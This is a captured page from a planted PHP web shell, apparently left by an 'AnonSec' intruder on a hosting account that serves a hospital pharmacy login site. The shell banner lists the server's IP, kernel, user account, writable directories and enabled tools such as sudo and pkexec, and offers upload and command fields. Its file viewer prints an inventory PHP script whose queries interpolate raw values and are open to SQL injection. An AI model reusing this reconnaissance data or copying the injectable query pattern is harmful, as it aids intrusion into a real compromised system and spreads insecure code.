Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.21.248.162
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/Pharmacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/Pharmacy/Consumable_stockinventory.php
 <?php
session_start();
require_once('../../DBManager.php');
require_once('../../LoginManager.php');
require_once('../../patientmanager.php');
include 'menu.php';
include 'header.php';
include("../dbconnection.php");
?>
   
   <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>


<?php
session_start();
include("../dbconnection.php");
require_once('../../DBManager.php');
require_once("../../LoginManager.php");
require_once('../../patientmanager.php');
?>
 
<!DOCTYPE html>
<html>  <head>
    <title>Medicine in Stock</title>
    <style>
      .modal {
        display: none;
        position: fixed;
        z-index: 8;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgb(0, 0, 0);
        background-color: rgba(0, 0, 0, 0.4);
      }
      .modal-content {
        margin: 50px auto;
        border: 1px solid #999;
        width: 60%;
      }
      h2,p {
        margin: 0 0 20px;
        font-weight: 400;
  
      }     
     .form1 {
        padding: 25px;
        margin: 25px;
        box-shadow: 0 2px 5px #f5f5f5;
        background: #eee;
      }
      input,
      textarea, select {
        width: 100%;
        padding: 6px;
        margin-bottom: 20px;
        border: 1px solid #1c87c9;
        outline: none;
      }
      .contact-form button {
        width: 100%;
        padding: 10px;
        border: none;
        background: #1c87c9;
        font-size: 16px;
        font-weight: 400;
        color: #fff;
      }
      button:hover {
        background: #2371a0;
      }
      .close {
        color: #aaa;
        float: right;
        font-size: 58px;
        font-weight: bold;
      }
      .close:hover,
      .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
      }
      button.button {
        display: inline-block;
       
        border-bottom: #02274a 1px solid;
     
        font-size: 19px;
        cursor: pointer;
      }
      
      button.button:hover {
    
        border-bottom: #a99567 1px solid;
        color: #a99567;
      }
      
    </style>
      <style>

 
/* Automatic Serial Number Row */
.css-serial {
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>
  </head>
  <body>
      
   
          
        
    <h2 Align="center">Consumable in Stock </h2>
    
    <input type="search" class="light-table-filter" data-table="order-table" placeholder="Search" />
        <table id="myTable"  class="order-table table table-bordered table-hover css-serial">
                  <thead>
         
						<tr>
						    <th>SR No</th>
						    <th>Medicine Details</th>
						     <th>Quantity</th>
							<th>Action</th>
						</tr>
				
      
                  </thead>
<?php
include("../dbconnection.php");
require_once('../../DBManager.php');
require_once('../../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
$sql ="SELECT * FROM consumable_stock WHERE Admin_id='$re[entered_by]' AND status='1' order by Consumable_id DESC";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
   $Cat=$con->query("SELECT * FROM `category` where crid='$rs[Category]'");
   while($RowCat=$Cat->fetch_array()){
            echo " <tbody>
            <tr>    
            <td>&nbsp;</td>
            <td> <b><b>Consumable Name : </b>$rs[ConsumableName] <br><b>Category : </b>$RowCat[subCat]</td><td>
            ";
         
            
            $sql12="SELECT  SUM(qty) FROM consumable_inventory WHERE Consumable_id='$rs[Consumable_id]'";
            $result = $con->query($sql12);
while($row = mysqli_fetch_array($result)){
  
   
   
  $sql2 ="SELECT * FROM consumable_stock WHERE Consumable_id='$rs[Consumable_id]'";
$qsql2 = mysqli_query($con,$sql2);
while($rs2 = mysqli_fetch_array($qsql2))
{
    $sql3 ="SELECT * FROM consumable_slot WHERE consumable_id='$rs2[Consumable_id]'";
$qsql3 = mysqli_query($con,$sql3);
$rs3 = mysqli_fetch_array($qsql3);

    $z=$rs2['size']*$row['SUM(qty)'];
    $a=$z-$rs3['quantitygiven'];
    
 ?>
 
 <?php
    //echo $a.'&nbsp;&nbsp;<b> ('.$rs2[Category].') </b>';
  echo "<div class=''> <b> <span align='right' id='AddQuantity$rs2[Consumable_id]'></span><b> ($rs2[Category]) </b></div>";
    echo "<br>";
     
     $sql121="SELECT * FROM consumable_inventory WHERE Consumable_id='$rs[Consumable_id]'";
            $result1 = $con->query($sql121);
            while($row1 = mysqli_fetch_array($result1)){
                
          $vendor=$con->query("SELECT * FROM `list_vendor` WHERE vid='$row1[Vendor]'");  
          while($RowVendor=$vendor->fetch_array()){
   ?>
              
                  <?php 
  
  
echo "<br>
<b>Invoice No</b>:- $row1[invoice_no] <br>
<b>Batch No</b>:- $row1[batchno] <br>

<b> Quantity</b>:- $row1[totalQty]<br>
<b>Vendor </b>:- $RowVendor[name] <br>
<input name='Quantity[]' id='Quantity' class='Quantity$rs2[Consumable_id]' type='hidden' value='$row1[totalQty]' /> <br>";



?>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>
  <script>
             
              var table3 = document.getElementById("myTable"), sumQuantity = 0;
            
           $(".Quantity<?php echo $rs2['Consumable_id']; ?>").each(function() {
                    sumQuantity += Number($(this).val());
                    console.log(sumQuantity);
                   
                 });
            document.getElementById("AddQuantity<?php echo $rs2['Consumable_id']; ?>").innerHTML = "" + sumQuantity;
            $('#AddQuantity').val(sumQuantity)
            console.log(sumQuantity);
          
        </script> 
<?php
} }
}
 }  
 ?>
 
 <?php
 echo"</td><td>
 
 <a href='Consumable_Add_inventory.php?Consumable_id=$rs[Consumable_id]'> <i class='fa fa-eye' style='color:green; font-size:20px;'></i> </a>
 
 
</td>
              					
          </tr>                   
          
          ";

}
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
  
  </body>
</html>

        
          
 
         
 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>

Anon7 - 2022
AnonSec Team